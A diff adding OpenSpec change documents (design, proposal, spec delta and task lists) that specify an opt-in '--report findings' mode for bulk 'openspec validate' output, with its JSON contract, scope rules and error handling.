- **THEN** no `Next:` line is printed for it, rather than a guessed or shared command
|
||||
@@ -0,0 +1,17 @@
|
||||
# Tasks
|
||||
|
||||
## 1. Resolve the next step once
|
||||
- [x] 1.1 Extract `resolveNextStep` returning the command and the sentence, leaving `buildNextSteps` returning exactly that sentence so the JSON contract is unchanged
|
||||
- [x] 1.2 Pin the published sentences verbatim in a unit test, so splitting command from sentence cannot reword the contract
|
||||
|
||||
## 2. Render it on the text surface
|
||||
- [x] 2.1 Print a `Next:` line from the resolved command, after the completion line rather than in place of it
|
||||
- [x] 2.2 Thread the store selection into the renderer so the command carries `--store`
|
||||
- [x] 2.3 Give every change in an `--all` sweep its own line, and a failed entry none
|
||||
|
||||
## 3. Cover the behavior
|
||||
- [x] 3.1 Assert the ready, planning-complete, skipped, and custom-schema cases end to end
|
||||
- [x] 3.2 Assert the printed command appears verbatim inside the JSON sentence, and that the line never leaks into `--json`
|
||||
|
||||
## 4. Record it
|
||||
- [x] 4.1 Update the `cli-artifact-workflow` spec delta and the `docs/cli.md` status output example
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-08-21
|
||||
@@ -0,0 +1,192 @@
|
||||
## Context
|
||||
|
||||
See `proposal.md` for motivation and measured output size. Bulk validation currently has one documented JSON contract: top-level `version: "1.0"`, a complete `items` array for the requested scope, `summary`, and `root`. Human bulk output lists every item before totals.
|
||||
|
||||
The preserved feasibility candidate proves that completed validation results can be projected while retaining totals, severities, scope, and exit status. It is not the proposed contract: the candidate reused `items` under top-level version `1.0`, which could let a consumer interpret a subset as the complete scope.
|
||||
|
||||
Implementation measurement on August 27, 2026 used this repository's 83-change archive, not the original 895-change corpus (which is not available in this checkout). `openspec validate --archived --json` emitted 14,690 bytes; adding `--report findings` emitted 4,047 bytes, a 72.5% reduction. Both retained all 12 failing items, totals of 71 passed and 12 failed, the same root, and exit 1. Explicit `--report full` matched the default document after normalizing `durationMs`. The findings items exactly matched the issue-bearing full records after the same normalization. Byte counts can vary with timings and checkout paths. This measures output size, not runtime.
|
||||
|
||||
The implementation baseline was updated from main on August 27, 2026. Its full-result top-level inventory is `items`, `summary`, `version`, and `root`; there is no advisory collection outside item results. Existing `INFO` issues inside item records are retained by whole-record projection. A future top-level advisory such as `overlaps` requires an explicit contract update defining its JSON field and human section before inclusion.
|
||||
|
||||
## Goals / Non-Goals
|
||||
|
||||
**Goals:**
|
||||
|
||||
- Reduce human and agent-facing output when a bulk validation scope is dominated by clean items.
|
||||
- Preserve the current complete report as the default and as explicit `full` mode.
|
||||
- Give JSON findings an exact discriminator and a document that is intentionally distinct from full v1.
|
||||
- Preserve complete item records, item order, issue detail and severity, requested scope, summary totals, root selection, and exit status.
|
||||
- Reject ambiguous report requests before prompts, root selection, progress UI, or validation work.
|
||||
|
||||
**Non-Goals:**
|
||||
|
||||
- Improving validation runtime or skipping validation work for valid requests.
|
||||
- Changing validation rules, strict-mode semantics, concurrency, full-report ordering, or exit codes.
|
||||
- Adding summary-only output, alternate serializers, TOON, a general output framework, project defaults, or new dependencies.
|
||||
- Changing omitted-`--report` targeted, interactive, or mixed-flag behavior.
|
||||
- Automatically copying unknown future top-level report fields into the findings document.
|
||||
|
||||
## Decisions
|
||||
|
||||
### 1. Use one bulk report selector; keep serialization orthogonal
|
||||
|
||||
`--report` accepts `full` and `findings`. Omitting it preserves every existing command flow. Explicit `--report full` and `--report findings` are bulk-report selectors: both require an explicit, unambiguous bulk scope and neither is accepted with an item name. In particular, `openspec validate <item> --report full` is intentionally rejected rather than treated as a targeted alias.
|
||||
|
||||
This keeps report content separate from serialization: `--report findings` selects the findings contract, while `--json` serializes that contract. Help text is `Select bulk report content: full|findings; combine with --json for JSON`.
|
||||
|
||||
The existing CLI has command-specific projections (`--deltas-only`, `--requirements`, and `--no-scenarios`) but no generic `--only`, `--report`, or `--format` vocabulary. `--findings-only` and `--only findings` read like in-place filters on the existing JSON document. `--report findings` makes the separately versioned document intentional and avoids adding more booleans if another report contract is justified later.
|
||||
|
||||
### 2. Resolve active scope combinations and reject archive ambiguity
|
||||
|
||||
For an explicit report request, the canonical scope is resolved as follows:
|
||||
|
||||
| Input flags | Canonical scope |
|
||||
|---|---|
|
||||
| `--changes` | `changes` |
|
||||
| `--specs` | `specs` |
|
||||
| `--changes --specs` | `all` |
|
||||
| `--all`, including `--all` plus either active subset | `all` |
|
||||
| `--archived` | `archived` |
|
||||
|
||||
`--archived` combined with any active scope flag is rejected. An item name combined with any explicit report option is rejected, whether or not a bulk flag is also present. An explicit report option without a bulk scope and an unsupported report value are also rejected. Omitted `--report` retains current precedence and behavior, including existing mixed-flag behavior; this proposal does not retroactively tighten old invocations.
|
||||
|
||||
### 3. Fail invalid report requests before doing work
|
||||
|
||||
Report mode and scope are normalized before root resolution or validation. Invalid human requests write a targeted error to stderr, write nothing to stdout, render no prompt or spinner, perform no validation, and exit 1.
|
||||
|
||||
With `--json`, every parsed invalid report request writes exactly one JSON document to stdout, writes no human text to either stream, performs no root resolution or validation, and exits 1:
|
||||
|
||||
```json
|
||||
{
|
||||
"status": [
|
||||
{
|
||||
"severity": "error",
|
||||
"code": "invalid_validation_report_request",
|
||||
"message": "The requested validation report and scope cannot be combined.",
|
||||
"fix": "Use --report full|findings with one active bulk scope or --archived, without an item name."
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The `code` is stable. The message may identify the specific conflict while retaining that code and one-status-entry shape. Values are case-sensitive: only `full` and `findings` are supported. Missing option arguments, such as bare `--report`, are CLI syntax errors handled by the existing parser before command execution; they are outside this structured report-request contract. This change does not alter generic parser error handling.
|
||||
|
||||
A valid report request can still fail during root resolution or scope discovery. Those failures retain the existing command diagnostic, nonzero exit status, and JSON `status` envelope rather than emitting a findings document with misleading empty totals. Per-item validation failures remain item results and do produce a completed report.
|
||||
|
||||
### 4. Use a distinct item-findings JSON document
|
||||
|
||||
After root resolution, scope discovery, and validation complete, `--json --report findings` returns a document like this three-item example:
|
||||
|
||||
```json
|
||||
{
|
||||
"report": {
|
||||
"kind": "validation-findings",
|
||||
"version": "1.0",
|
||||
"scope": "archived",
|
||||
"returnedItems": 1,
|
||||
"totalItems": 3
|
||||
},
|
||||
"itemFindings": [
|
||||
{
|
||||
"id": "example-change",
|
||||
"type": "change",
|
||||
"valid": false,
|
||||
"issues": [
|
||||
{
|
||||
"level": "ERROR",
|
||||
"path": "tasks.md",
|
||||
"message": "4 incomplete tasks (15/19 completed)"
|
||||
}
|
||||
],
|
||||
"durationMs": 3
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"totals": { "items": 3, "passed": 2, "failed": 1 },
|
||||
"byType": {
|
||||
"change": { "items": 3, "passed": 2, "failed": 1 }
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"path": "<resolved-root>",
|
||||
"source": "nearest"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The typed projection is exactly the full result's item records filtered by `item.issues.length > 0`. It preserves full-report order and returns each selected record whole rather than rebuilding a fixed field list, so current fields and future additive item fields survive. `report.returnedItems` equals `itemFindings.length`; `report.totalItems` equals `summary.totals.items`. `ERROR`, `WARNING`, and `INFO` all count as item findings, regardless of whether the item's `valid` field is true.
|
||||
|
||||
The findings document has no top-level `items` or top-level `version`, and it carries the exact `report.kind: "validation-findings"` discriminator and exact JSON-string `report.version: "1.0"`. Contract tests assert the version value and its string type. Tests also assert that the document does not conform to the documented full-v1 contract, which requires top-level `version: "1.0"` and a complete `items` array. No claim is made about how arbitrary permissive parsers behave.
|
||||
|
||||
The implementation explicitly maps the current full-result inventory: `items` becomes filtered `itemFindings`; `summary` and `root` are retained whole; top-level `version` is replaced by the findings discriminator and version under `report`. It does not generically spread unknown full-result fields. No top-level advisory collection exists in this baseline, so none is emitted. Any future advisory must be explicitly named in the contract, remain separate from `itemFindings`, and not affect `returnedItems`.
|
||||
|
||||
JSON findings emit exactly one document on stdout and no stderr text.
|
||||
|
||||
### 5. Define human findings sections and order each stream independently
|
||||
|
||||
Human findings preserve stream ownership, but stdout and stderr may be buffered or interleaved by the caller. The contract therefore defines ordering independently within each stream and makes no relative-order promise between a stdout section and a stderr section.
|
||||
|
||||
Within stdout, sections appear in this order:
|
||||
|
||||
1. `Scope:` line.
|
||||
2. If `itemFindings` is empty, `No item findings.`; otherwise there is no item row or item block on stdout.
|
||||
3. `Totals:` for the complete scope.
|
||||
4. The existing first-failure `Details:` command for active scopes when one is currently provided; findings mode does not invent a details line for archived scope.
|
||||
|
||||
Within stderr, sections appear in this order:
|
||||
|
||||
1. Item-finding blocks in full-report item order. Each block prints its item heading once, followed by every issue in issue order with its original `ERROR`, `WARNING`, or `INFO` label, path, and message. All three severities use stderr.
|
||||
2. Any future advisory section explicitly added to the contract would follow item-finding blocks on stderr and remain distinct from item findings. There is no such section in this implementation.
|
||||
|
||||
Clean item rows are omitted. `No item findings.` says nothing about separately rendered advisories. Tests capture and assert each stream independently rather than asserting a merged stdout/stderr sequence. A valid findings request may retain existing progress behavior, which is outside this final-report per-stream ordering contract; the invalid-request path never renders progress UI.
|
||||
|
||||
### 6. Use one typed projector for active and archived results
|
||||
|
||||
Active and archived validation currently assemble similar result/summary envelopes on separate paths. Implementation defines one typed findings projection over the shared full-result contract and routes both paths through it. This prevents scope, ordering, whole-record preservation, and returned/total count rules from drifting. Human and JSON renderers consume that same projection; they do not independently filter.
|
||||
|
||||
### 7. Keep verdict, root, and platform behavior unchanged
|
||||
|
||||
For valid requests, findings mode validates the same requested items as full mode. `summary` is the full-scope summary and exit status is identical for the same scope and strictness. Warning- and info-only records remain visible even when they do not fail a non-strict run.
|
||||
|
||||
The report uses the same resolved repo or store root and unchanged path values as full validation, including platform-native root paths and existing POSIX-normalized issue paths. No path construction or rewriting is introduced. The `--report` flag is registered on every currently supported completion surface: Bash, Zsh, Fish, and PowerShell. Only Zsh and Fish suggest the fixed `full` and `findings` values because only those existing generators consume registry value metadata. Bash and PowerShell remain unchanged beyond flag registration. This proposal does not add a completion capability or broaden the set of generators; any additional shell or agent completion surface requires separate justification.
|
||||
|
||||
## Alternatives Considered
|
||||
|
||||
### Reuse full-v1 `items` with only issue-bearing records
|
||||
|
||||
Rejected. Projection metadata does not undo the documented meaning of the complete `items` collection; a consumer can silently undercount clean items.
|
||||
|
||||
### Introduce projected `items` in a new full JSON version
|
||||
|
||||
Rejected for this contribution. A v2 union can be safe, but it creates a broader protocol migration for a narrow projection. A separate discriminator and `itemFindings` collection avoid changing full v1.
|
||||
|
||||
### Human-only compact output
|
||||
|
||||
Rejected as the recommendation. It is the smallest surface, but leaves the structured agent/log use case unsolved.
|
||||
|
||||
### Use `--findings-only` or `--only findings`
|
||||
|
||||
Rejected. Both frame the behavior as filtering the existing output shape. The report selector makes the distinct JSON contract intentional and composes with `--json` as content plus serialization.
|
||||
|
||||
### Document external filtering only
|
||||
|
||||
Safe and still supported. Callers can filter full JSON through `jq` or PowerShell, but the complete document still crosses the CLI boundary and each integration must recreate scope, summary, and exit-code discipline.
|
||||
|
||||
### Add summary mode or a general output framework
|
||||
|
||||
Rejected. Summary-only output omits actionable item findings. Alternate serializers, preferences, and frameworks expand maintenance and compatibility risk without evidence they are required.
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
- **A second JSON report contract is durable API surface.** Mitigation: one exact discriminator/version, one item projector, and reuse of full item records, summary, and root.
|
||||
- **Output savings depend on corpus shape.** The measured matrix ranged from 4.9% on an issue-dense synthetic human case to 95.7% on the real 895-change archive. The 6,740-byte figure belongs to the feasibility candidate, not this exact envelope. Mitigation: claim output reduction only and remeasure the implemented envelope.
|
||||
- **Item findings can be confused with top-level advisories.** Mitigation: `itemFindings`, `No item findings.`, separate advisory sections, and counts that cover item records only.
|
||||
- **Unknown top-level fields could be dropped.** Mitigation: an explicit baseline inventory and contract updates for future named sections; no unbounded generic preservation promise.
|
||||
- **Active and archived paths could drift.** Mitigation: one typed projector and shared contract tests.
|
||||
|
||||
## Migration Plan
|
||||
|
||||
- Ship as an additive option with no persisted configuration.
|
||||
- Existing invocations and documented full-v1 parsers continue using the unchanged full report.
|
||||
- New callers opt in and parse `report.kind: "validation-findings"` plus `itemFindings`.
|
||||
- A rollback removes the option without migrating data or restoring files.
|
||||
@@ -0,0 +1,29 @@
|
||||
## Why
|
||||
|
||||
Bulk validation currently prints one result for every item in scope, including clean items. That complete report is useful for audit and automation, but it can dominate agent context and CI logs in large, mostly-clean repositories. In one real 895-change archive, the complete JSON report was 157,396 bytes while a feasibility candidate's projected-v1 envelope was 6,740 bytes (95.7% smaller) with all 19 failures and the same exit status. The proposed envelope is different and may have a slightly different byte count; savings vary with issue density. This is evidence about output volume, not validation runtime.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add an opt-in `--report <full|findings>` mode to explicit bulk validation scopes: `--all`, `--changes`, `--specs`, and `--archived`.
|
||||
- Keep current behavior when `--report` is omitted, and preserve current human and JSON output for valid explicit bulk `--report full` requests.
|
||||
- In findings mode, project complete item records whose `issues.length > 0` into `itemFindings`, preserving full-report order, every issue severity, and all current or future additive item fields.
|
||||
- Give JSON findings an exact `report.kind: "validation-findings"` discriminator and exact JSON-string `report.version: "1.0"`. It does not reuse the full-v1 `items` field or claim conformance with that document.
|
||||
- Use the current full-result inventory (`items`, `summary`, `version`, and `root`); there are no top-level advisory collections to project. Future advisory sections require an explicit contract decision.
|
||||
- Require an explicit, non-conflicting bulk scope for either report value. Parsed invalid report requests return one stable structured JSON diagnostic before root selection, prompts, spinners, or validation. Missing option arguments retain existing CLI parser errors; root and discovery failures retain existing command diagnostics.
|
||||
|
||||
## Capabilities
|
||||
|
||||
### New Capabilities
|
||||
|
||||
_None._
|
||||
|
||||
### Modified Capabilities
|
||||
|
||||
- `cli-validate`: Add a compatibility-safe, opt-in findings report for bulk human and JSON validation output.
|
||||
|
||||
## Impact
|
||||
|
||||
- **Public CLI:** one additive report option on bulk `openspec validate`; no default behavior change.
|
||||
- **JSON consumers:** the existing full-v1 complete-`items` document remains unchanged. Consumers choosing findings mode parse a separately identified schema with `itemFindings`.
|
||||
- **Documentation and completions:** document the two report modes, their scope rules, and the findings JSON envelope; register `--report` on the existing Bash, Zsh, Fish, and PowerShell completion surfaces, with fixed `full`/`findings` value suggestions only in Zsh and Fish.
|
||||
- **Implementation:** validation command output, CLI option registration, completions, documentation, focused tests, and a release changeset. No new dependency or project-level preference.
|
||||
@@ -0,0 +1,260 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Bulk validation SHALL provide an opt-in item-findings report
|
||||
|
||||
The `validate` command SHALL support case-sensitive `--report full` and `--report findings` for explicit, unambiguous bulk scopes. Omitting `--report` SHALL retain current targeted, interactive, bulk, human, and JSON behavior. Findings mode SHALL return whole issue-bearing item records separately from top-level advisories while preserving full item order, complete requested-scope totals, root selection, issue severities, strict-mode semantics, and exit status. The current full-result fields are `items`, `summary`, `version`, and `root`; this implementation SHALL NOT invent advisory fields or copy unknown top-level fields. A future advisory section requires an explicit contract update.
|
||||
|
||||
#### Scenario: Default and explicit bulk full output remain compatible
|
||||
|
||||
- **WHEN** a user runs bulk validation without `--report` or with a valid explicit `--report full` request
|
||||
- **THEN** human output SHALL retain the current complete item listing and totals, or the current empty-scope message when no items exist
|
||||
- **AND** JSON output SHALL retain the documented full-v1 top-level `version: "1.0"` and complete `items` collection
|
||||
- **AND** the two bulk invocations SHALL have equivalent observable output and exit status for the same scope
|
||||
|
||||
#### Scenario: Explicit report values select a bulk report
|
||||
|
||||
- **WHEN** a user supplies `--report full` or `--report findings` with exactly one resolvable bulk scope and no item name
|
||||
- **THEN** validation SHALL run that bulk report without prompting for a scope
|
||||
|
||||
#### Scenario: Explicit report values do not alias targeted or interactive flows
|
||||
|
||||
- **WHEN** a user supplies an explicit report value with an item name or without a bulk scope
|
||||
- **THEN** validation SHALL reject the request rather than treating explicit `full` as a targeted or interactive alias
|
||||
|
||||
#### Scenario: A changes-only report retains changes scope
|
||||
|
||||
- **WHEN** a findings report request uses `--changes` alone
|
||||
- **THEN** `report.scope` SHALL be `changes`
|
||||
|
||||
#### Scenario: A specs-only report retains specs scope
|
||||
|
||||
- **WHEN** a findings report request uses `--specs` alone
|
||||
- **THEN** `report.scope` SHALL be `specs`
|
||||
|
||||
#### Scenario: Combined active scopes normalize to all
|
||||
|
||||
- **WHEN** a findings report request uses `--changes --specs`, `--all`, or `--all` with either active subset flag
|
||||
- **THEN** the complete active scope SHALL be validated and `report.scope` SHALL be `all`
|
||||
|
||||
#### Scenario: Archived and active scopes cannot be combined for a report
|
||||
|
||||
- **WHEN** a user supplies `--archived` with `--all`, `--changes`, or `--specs` and an explicit report value
|
||||
- **THEN** validation SHALL reject the request rather than choosing one scope by precedence
|
||||
- **AND** SHALL NOT validate either scope
|
||||
|
||||
#### Scenario: Invalid human report requests fail before work
|
||||
|
||||
- **WHEN** a non-JSON request has an item/report conflict, archived/active conflict, missing bulk scope, or unsupported report value
|
||||
- **THEN** validation SHALL write a targeted diagnostic to stderr and nothing to stdout
|
||||
- **AND** SHALL exit with code 1
|
||||
- **AND** SHALL NOT resolve a root, prompt, render a spinner, or validate any item
|
||||
|
||||
#### Scenario: Invalid JSON report requests return one stable diagnostic
|
||||
|
||||
- **WHEN** a JSON request has an item/report conflict, archived/active conflict, missing bulk scope, or unsupported report value
|
||||
- **THEN** stdout SHALL contain exactly one JSON document with exactly one `status` entry
|
||||
- **AND** that entry SHALL have `severity: "error"` and stable `code: "invalid_validation_report_request"`
|
||||
- **AND** it SHALL include a targeted `message` and corrective `fix`
|
||||
- **AND** no human text SHALL be written to stdout or stderr
|
||||
- **AND** validation SHALL exit with code 1 without resolving a root, prompting, rendering a spinner, or validating any item
|
||||
|
||||
#### Scenario: Missing report arguments retain parser errors
|
||||
|
||||
- **WHEN** the CLI parser rejects a missing required argument such as bare `--report`
|
||||
- **THEN** the existing CLI syntax-error behavior SHALL remain unchanged
|
||||
- **AND** the command SHALL NOT run or resolve a root
|
||||
- **AND** generic parser errors SHALL NOT be covered by the structured `invalid_validation_report_request` contract
|
||||
|
||||
#### Scenario: Root and scope-discovery failures remain diagnostics
|
||||
|
||||
- **GIVEN** a syntactically valid report request with a supported scope
|
||||
- **WHEN** root resolution fails or scope discovery encounters a fatal error
|
||||
- **THEN** validation SHALL retain the existing diagnostic and nonzero exit status for that failure
|
||||
- **AND** JSON output SHALL contain the existing `status` diagnostic envelope rather than a findings document with empty totals
|
||||
- **AND** a per-item validation failure SHALL instead remain an item result in the completed findings report
|
||||
|
||||
#### Scenario: Findings JSON uses an exact distinct contract
|
||||
|
||||
- **WHEN** a valid `--json --report findings` request completes root resolution, scope discovery, and validation
|
||||
- **THEN** stdout SHALL contain exactly one parseable JSON document and stderr SHALL be empty
|
||||
- **AND** `report.kind` SHALL equal `validation-findings`
|
||||
- **AND** `report.version` SHALL be the JSON string `"1.0"`
|
||||
- **AND** `report` SHALL include canonical `scope`, `returnedItems`, and `totalItems`
|
||||
- **AND** `summary` SHALL contain totals for the complete requested scope
|
||||
- **AND** `root` SHALL retain the current resolved-root envelope
|
||||
|
||||
#### Scenario: Findings JSON is not the documented full-v1 document
|
||||
|
||||
- **WHEN** a valid `--json --report findings` request produces a completed report
|
||||
- **THEN** the document SHALL NOT contain a top-level `items` field
|
||||
- **AND** SHALL NOT contain the full-v1 top-level `version` field
|
||||
- **AND** contract tests SHALL reject it against the documented full-v1 shape requiring top-level `version: "1.0"` and complete `items`
|
||||
- **AND** compatibility assertions SHALL be limited to documented full-v1 conformance, leaving undocumented permissive parser behavior outside this contract
|
||||
|
||||
#### Scenario: Item findings project whole issue-bearing records
|
||||
|
||||
- **GIVEN** the corresponding full result has item records in a defined order
|
||||
- **WHEN** findings JSON is produced
|
||||
- **THEN** `itemFindings` SHALL equal those full item records filtered by `issues.length > 0`
|
||||
- **AND** record order and issue order SHALL match the full result
|
||||
- **AND** each selected record SHALL preserve every current field and future additive field from that full item record
|
||||
- **AND** clean item records SHALL be omitted
|
||||
|
||||
#### Scenario: Every item issue severity counts as an item finding
|
||||
|
||||
- **GIVEN** separate item records containing only `ERROR`, only `WARNING`, or only `INFO` issues
|
||||
- **WHEN** findings mode is produced
|
||||
- **THEN** all three records SHALL appear in `itemFindings`
|
||||
- **AND** every issue SHALL retain its original severity, path, and message
|
||||
- **AND** `valid` and exit behavior SHALL remain whatever full mode reports under the same strictness
|
||||
|
||||
#### Scenario: Item counts exclude top-level advisories
|
||||
|
||||
- **WHEN** findings JSON is produced
|
||||
- **THEN** `report.returnedItems` SHALL equal `itemFindings.length`
|
||||
- **AND** `report.totalItems` SHALL equal `summary.totals.items`
|
||||
- **AND** separately named top-level advisory records SHALL NOT increase either item count
|
||||
|
||||
#### Scenario: Zero item findings in a non-empty scope remain auditable
|
||||
|
||||
- **GIVEN** the requested bulk scope contains one or more items and none has an issue
|
||||
- **WHEN** validation runs with `--json --report findings`
|
||||
- **THEN** `itemFindings` SHALL be an empty array and `report.returnedItems` SHALL be `0`
|
||||
- **AND** `report.totalItems`, `report.scope`, `summary`, and `root` SHALL still identify the complete validated scope
|
||||
- **AND** the successful exit status SHALL match full mode for the same scope
|
||||
|
||||
#### Scenario: Empty JSON scope is explicit and successful
|
||||
|
||||
- **GIVEN** the selected bulk scope contains no items
|
||||
- **WHEN** validation runs with `--json --report findings`
|
||||
- **THEN** `itemFindings` SHALL be empty, item counts and summary totals SHALL be zero, and scope and root SHALL remain explicit
|
||||
- **AND** validation SHALL preserve the current successful empty-scope exit status
|
||||
|
||||
#### Scenario: Human findings use independently ordered streams
|
||||
|
||||
- **GIVEN** a bulk scope with issue-bearing and clean item records
|
||||
- **WHEN** validation runs with `--report findings` and without `--json`
|
||||
- **THEN** within stdout the final report SHALL emit `Scope:` first, followed by complete-scope `Totals:`, followed by any existing active-scope first-failure `Details:` command
|
||||
- **AND** within stderr the final report SHALL emit item-finding blocks in full item order, with each item heading followed by all issues in issue order
|
||||
- **AND** `ERROR`, `WARNING`, and `INFO` labels, paths, and messages SHALL all be emitted to stderr
|
||||
- **AND** clean item rows SHALL be omitted
|
||||
- **AND** within stderr any explicitly named advisory section SHALL be emitted after item-finding blocks
|
||||
- **AND** archived scope SHALL NOT gain a new details command
|
||||
- **AND** no relative ordering between stdout and stderr sections SHALL be required
|
||||
|
||||
#### Scenario: Human output distinguishes no item findings from advisories
|
||||
|
||||
- **GIVEN** no item record has an issue
|
||||
- **WHEN** validation runs with `--report findings` and without `--json`
|
||||
- **THEN** within stdout `No item findings.` SHALL be emitted after `Scope:` and before `Totals:`
|
||||
- **AND** any explicitly named advisory section SHALL still be emitted separately to stderr
|
||||
- **AND** `No item findings.` SHALL NOT assert that no top-level advisory exists
|
||||
- **AND** no relative ordering between that stderr advisory and stdout sections SHALL be required
|
||||
|
||||
#### Scenario: Human empty scope is explicit and successful
|
||||
|
||||
- **GIVEN** the selected bulk scope contains no items
|
||||
- **WHEN** validation runs with `--report findings` and without `--json`
|
||||
- **THEN** within stdout the report SHALL contain zero-item `Scope:`, `No item findings.`, and zero `Totals:` in that order
|
||||
- **AND** validation SHALL preserve the current successful empty-scope exit status
|
||||
|
||||
#### Scenario: Full and findings verdicts remain equal
|
||||
|
||||
- **GIVEN** the same bulk scope, root, inputs, and strictness
|
||||
- **WHEN** full mode and findings mode run
|
||||
- **THEN** both modes SHALL validate the same items
|
||||
- **AND** SHALL produce the same complete summary totals and exit status
|
||||
- **AND** store and archived scopes SHALL inspect exactly the items their corresponding full invocations inspect
|
||||
|
||||
#### Scenario: Completion support follows existing shell capabilities
|
||||
|
||||
- **WHEN** completion output is generated for the currently supported Bash, Zsh, Fish, and PowerShell surfaces
|
||||
- **THEN** the `--report` flag SHALL be registered on all four surfaces
|
||||
- **AND** Zsh and Fish SHALL suggest the fixed values `full` and `findings`
|
||||
- **AND** Bash and PowerShell SHALL remain unchanged beyond registering the flag and SHALL NOT be required to suggest fixed values
|
||||
- **AND** this change SHALL NOT add another completion generator or completion capability
|
||||
|
||||
#### Scenario: Findings output is cross-platform
|
||||
|
||||
- **WHEN** the same findings validation scenario runs on Windows, macOS, and Linux
|
||||
- **THEN** report selection, projection, totals, severities, streams, and exit status SHALL be equivalent
|
||||
- **AND** paths in item records and the root envelope SHALL remain exactly as emitted by full validation, including native root paths and existing POSIX-normalized issue paths
|
||||
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Bulk and filtered validation
|
||||
|
||||
The validate command SHALL support flags for bulk validation (--all) and filtered validation by type (--changes, --specs). These flags SHALL select the same items for full and findings reports. Complete per-item listings SHALL apply when `--report` is omitted or is `full`; findings output SHALL follow the item-findings report contract.
|
||||
|
||||
#### Scenario: Validate everything
|
||||
|
||||
- **WHEN** executing `openspec validate --all`
|
||||
- **THEN** validate all changes in openspec/changes/ (excluding archive)
|
||||
- **AND** validate all specs in openspec/specs/
|
||||
- **AND** display a summary showing passed/failed items
|
||||
- **AND** exit with code 1 if any validation fails
|
||||
|
||||
#### Scenario: Scope of bulk validation
|
||||
|
||||
- **WHEN** validating with `--all` or `--changes`
|
||||
- **THEN** include all change proposals under `openspec/changes/`
|
||||
- **AND** exclude the `openspec/changes/archive/` directory
|
||||
|
||||
- **WHEN** validating with `--specs`
|
||||
- **THEN** include all specs that have a `spec.md` under `openspec/specs/<capability-path>/spec.md`
|
||||
|
||||
#### Scenario: Validate all changes
|
||||
|
||||
- **WHEN** executing `openspec validate --changes` with `--report` omitted or set to `full`
|
||||
- **THEN** validate all changes in openspec/changes/ (excluding archive)
|
||||
- **AND** display results for each change
|
||||
- **AND** show summary statistics
|
||||
|
||||
#### Scenario: Validate all specs
|
||||
|
||||
- **WHEN** executing `openspec validate --specs` with `--report` omitted or set to `full`
|
||||
- **THEN** validate all specs in openspec/specs/
|
||||
- **AND** display results for each spec
|
||||
- **AND** show summary statistics
|
||||
|
||||
### Requirement: Validation options and progress indication
|
||||
|
||||
The validate command SHALL support standard validation options (--strict, --json) and display progress during bulk operations. Explicit bulk reports SHALL use `--report full` or `--report findings`, independently of JSON serialization. The complete JSON schema below SHALL apply when `--report` is omitted or is `full`; findings output SHALL follow the distinct item-findings report contract.
|
||||
|
||||
#### Scenario: Strict validation
|
||||
|
||||
- **WHEN** executing `openspec validate --all --strict`
|
||||
- **THEN** apply strict validation to all items
|
||||
- **AND** treat warnings as errors
|
||||
- **AND** fail if any item has warnings or errors
|
||||
|
||||
#### Scenario: JSON output
|
||||
|
||||
- **WHEN** executing `openspec validate --all --json` with `--report` omitted or set to `full`
|
||||
- **THEN** output validation results as JSON
|
||||
- **AND** include detailed issues for each item
|
||||
- **AND** include summary statistics
|
||||
|
||||
#### Scenario: JSON output schema for bulk validation
|
||||
|
||||
- **WHEN** executing `openspec validate --all --json` (or `--changes` / `--specs`) with `--report` omitted or set to `full`
|
||||
- **THEN** output a JSON object with the following shape:
|
||||
- `items`: Array of objects with fields `{ id: string, type: "change"|"spec", valid: boolean, issues: Issue[], durationMs: number }`
|
||||
- `summary`: Object `{ totals: { items: number, passed: number, failed: number }, byType: { change?: { items: number, passed: number, failed: number }, spec?: { items: number, passed: number, failed: number } } }`
|
||||
- `version`: String identifier for the schema (e.g., `"1.0"`)
|
||||
- **AND** exit with code 1 if any `items[].valid === false`
|
||||
|
||||
Where `Issue` follows the existing per-item validation report shape `{ level: "ERROR"|"WARNING"|"INFO", path: string, message: string }`.
|
||||
|
||||
#### Scenario: Show validation progress
|
||||
|
||||
- **WHEN** validating multiple items (--all, --changes, or --specs)
|
||||
- **THEN** show progress indicator or status updates
|
||||
- **AND** indicate which item is currently being validated
|
||||
- **AND** display running count of passed/failed items
|
||||
|
||||
#### Scenario: Concurrency limits for performance
|
||||
|
||||
- **WHEN** validating multiple items
|
||||
- **THEN** run validations with a bounded concurrency (e.g., 4–8 in parallel)
|
||||
- **AND** ensure progress indicators remain responsive
|
||||
@@ -0,0 +1,42 @@
|
||||
## 1. Request and scope contract
|
||||
|
||||
- [x] 1.1 Add `--report <full|findings>` to bulk `validate` help and registration, leave omitted-report behavior unchanged, and verify explicit `--report full` and `--report findings` require a bulk scope without an item name
|
||||
- [x] 1.2 Implement one typed request normalizer before root resolution that maps `--changes` to `changes`, `--specs` to `specs`, `--changes --specs` and `--all` plus active subsets to `all`, and `--archived` to `archived`; verify archived+active, item+report, missing-scope, and unsupported-value requests are rejected before validation
|
||||
- [x] 1.3 Emit invalid human requests only to stderr and invalid JSON requests as one stdout document with one `status` entry and stable code `invalid_validation_report_request`; verify exit 1, empty opposite streams, and absence of root resolution, prompts, spinners, and validator calls
|
||||
- [x] 1.4 Register the `--report` flag on the existing Bash, Zsh, Fish, and PowerShell completion outputs; add fixed `full`/`findings` value suggestions only to Zsh and Fish, leave Bash and PowerShell unchanged beyond flag registration, and verify no completion capability or generator is added
|
||||
- [x] 1.5 Verify case-sensitive report values, preserve parser errors for missing option arguments, and preserve root/discovery failure diagnostics without emitting a findings success envelope
|
||||
|
||||
## 2. Shared item projection and renderers
|
||||
|
||||
- [x] 2.1 Define one typed projector used by active and archived validation that derives `itemFindings` with `full.items.filter(item => item.issues.length > 0)`, preserving full item order, issue order, and whole item records including additive fields; verify both paths use it rather than filtering independently
|
||||
- [x] 2.2 Produce the exact findings JSON contract with `report.kind: "validation-findings"`, JSON-string `report.version: "1.0"`, scope/item counts, `itemFindings`, complete `summary`, and `root`; omit full-v1 top-level `items` and `version`
|
||||
- [x] 2.3 Implement human findings with independently ordered streams: stdout `Scope:` -> optional `No item findings.` -> `Totals:` -> existing active `Details:`; stderr item blocks/all severities -> explicitly named advisories; add tests that capture each stream independently and make no merged stdout/stderr ordering assertion
|
||||
